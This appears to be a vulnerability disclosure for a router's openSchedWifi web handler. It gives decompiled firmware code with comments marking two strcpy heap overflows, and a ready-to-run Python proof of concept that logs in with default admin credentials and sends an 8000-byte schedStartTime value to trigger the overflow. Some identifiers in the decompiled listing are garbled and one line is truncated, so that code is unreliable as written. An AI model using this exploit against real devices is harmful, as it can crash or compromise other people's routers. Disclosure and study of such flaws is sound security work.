

```
bool bVar3;
char acStack604 [256];
undefined auStack348 [4];
undefined auStack344 [128];
undefined auStack216 [128];
int local 58 [7];
undefined4 local 3c;
undefined4 local 38;
undefined *local 34;
char *local 30;
char *local 2c;
char *local 28;
char *local 24;
char *local 20;
int local_1c;
int local 18;
int local 14;
local 14 = 1;
local 1c = 1;
local 3c = 0;
local 38 = 0;
local_58[0] = 1;
local_58[1] = 1;
local_58[2] = 1;
local 58[3] = 1;
local_58[4] = 1;
local_58[5] = 1;
local_58[6] = 1;
local 20 = (char *)FUN_0002ba8c(param_1, "schedWifiEnable", &DAT_000ee9f8);
local_24 = (char *)FUN_0002ba8c(param_1,"schedStartTime",&DAT_000eeb64);
local_28 = (char *)FUN 0002ba8c(param_1,"schedEndTime",&DAT_000eeb64);
local 2c = (char *)FUN 0002ba8c(param 1,"timeType",&DAT 000eeb84);
local_30 = (char *)FUN_0002ba8c(param_1,&DAT_000eeb88,"1,1,1,1,1,1,1");
local_18 = 0;
GetValue("wl.public.enable",&local_3c);
if ((char)local_3c == '\0') {
  memcpy(&local_3c,&DAT_000ee9f8,2);
}
iVar1 = atoi(local 2c);
if (iVar1 != 0) {
  sscanf(local_30,"%d,%d,%d,%d,%d,%d,%d",local_58,local_58 + 1,local_58 + 2,local_
         local_58 + 4,local_58 + 5,local_58 + 6);
SetValue("sys.sched.wifi.timeType",local_2c);
local_34 = (undefined *)malloc(0x19); //memory alloc
local_1c = atoi(local_20);
local_14 = mib2utc(local_24,local_28,local_30,auStack344,auStack216,0x80,0x80);
if ((local_14 == 0) || (local_1c == 0)) {
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```
printf("%s\n%s\n",auStack344,auStack216);
   iVar1 = FUN 0008ce44(auStack344,auStack216);
   if ((iVar1 == 0) || (local_1c == 0)) {
      SetValue("nkgw.wlan.offtime.list1",auStack344);
      SetValue("nkgw.wlan.ontime.list1",auStack216);
      if (local_34 != (undefined *)0x0) {
       iVar1 = atoi((char *)&local_3c);
       bVar3 = iVar1 == 0;
       if (bVar3) {
          iVar1 = 0;
        }
       uVar2 = (undefined)iVar1;
       if (!bVar3) {
          uVar2 = 1;
        }
        *local_34 = uVar2;
       iVar1 = atoi(local_20);
       bVar3 = iVar1 == 0;
       if (bVar3) {
          iVar1 = 0;
        }
       uVar2 = (undefined)iVar1;
       if (!bVar3) {
          uVar2 = 1;
        }
        local_34[1] = uVar2;
       strcpy(local_34 + 2,local_24); //here is overflow
        strcpy(local_34 + 10,local_28); //here is overflow
       for (local_18 = 0; local_18 < 7; local_18 = local_18 + 1) {</pre>
          iVar1 = local_58[local_18];
          bVar3 = iVar1 == 0;
          if (bVar3) {
            iVar1 = 0;
          uVar2 = (undefined)iVar1;
          if (!bVar3) {
            uVar2 = 1;
          }
          local_34[local_18 + 0x12] = uVar2;
        }
       FUN_00036a34(local_34,0);
}
```

```
import requests

cmd = b'schedWifiEnable=0&schedStartTime=' + b'A' * 8000 + b'&schedEndTime=' + b'A'

url = b"http://192.168.2.2/login/Auth"
payload = b"http://192.168.2.2/goform/openSchedWifi/?" + cmd

data = {
    "username": "admin",
    "password": "admin",
}

def attack():
    s = requests.session()
    resp = s.post(url=url, data=data)
    print(resp.content)
    resp = s.post(url=payload, data=data)
    print(resp.content)

attack()
```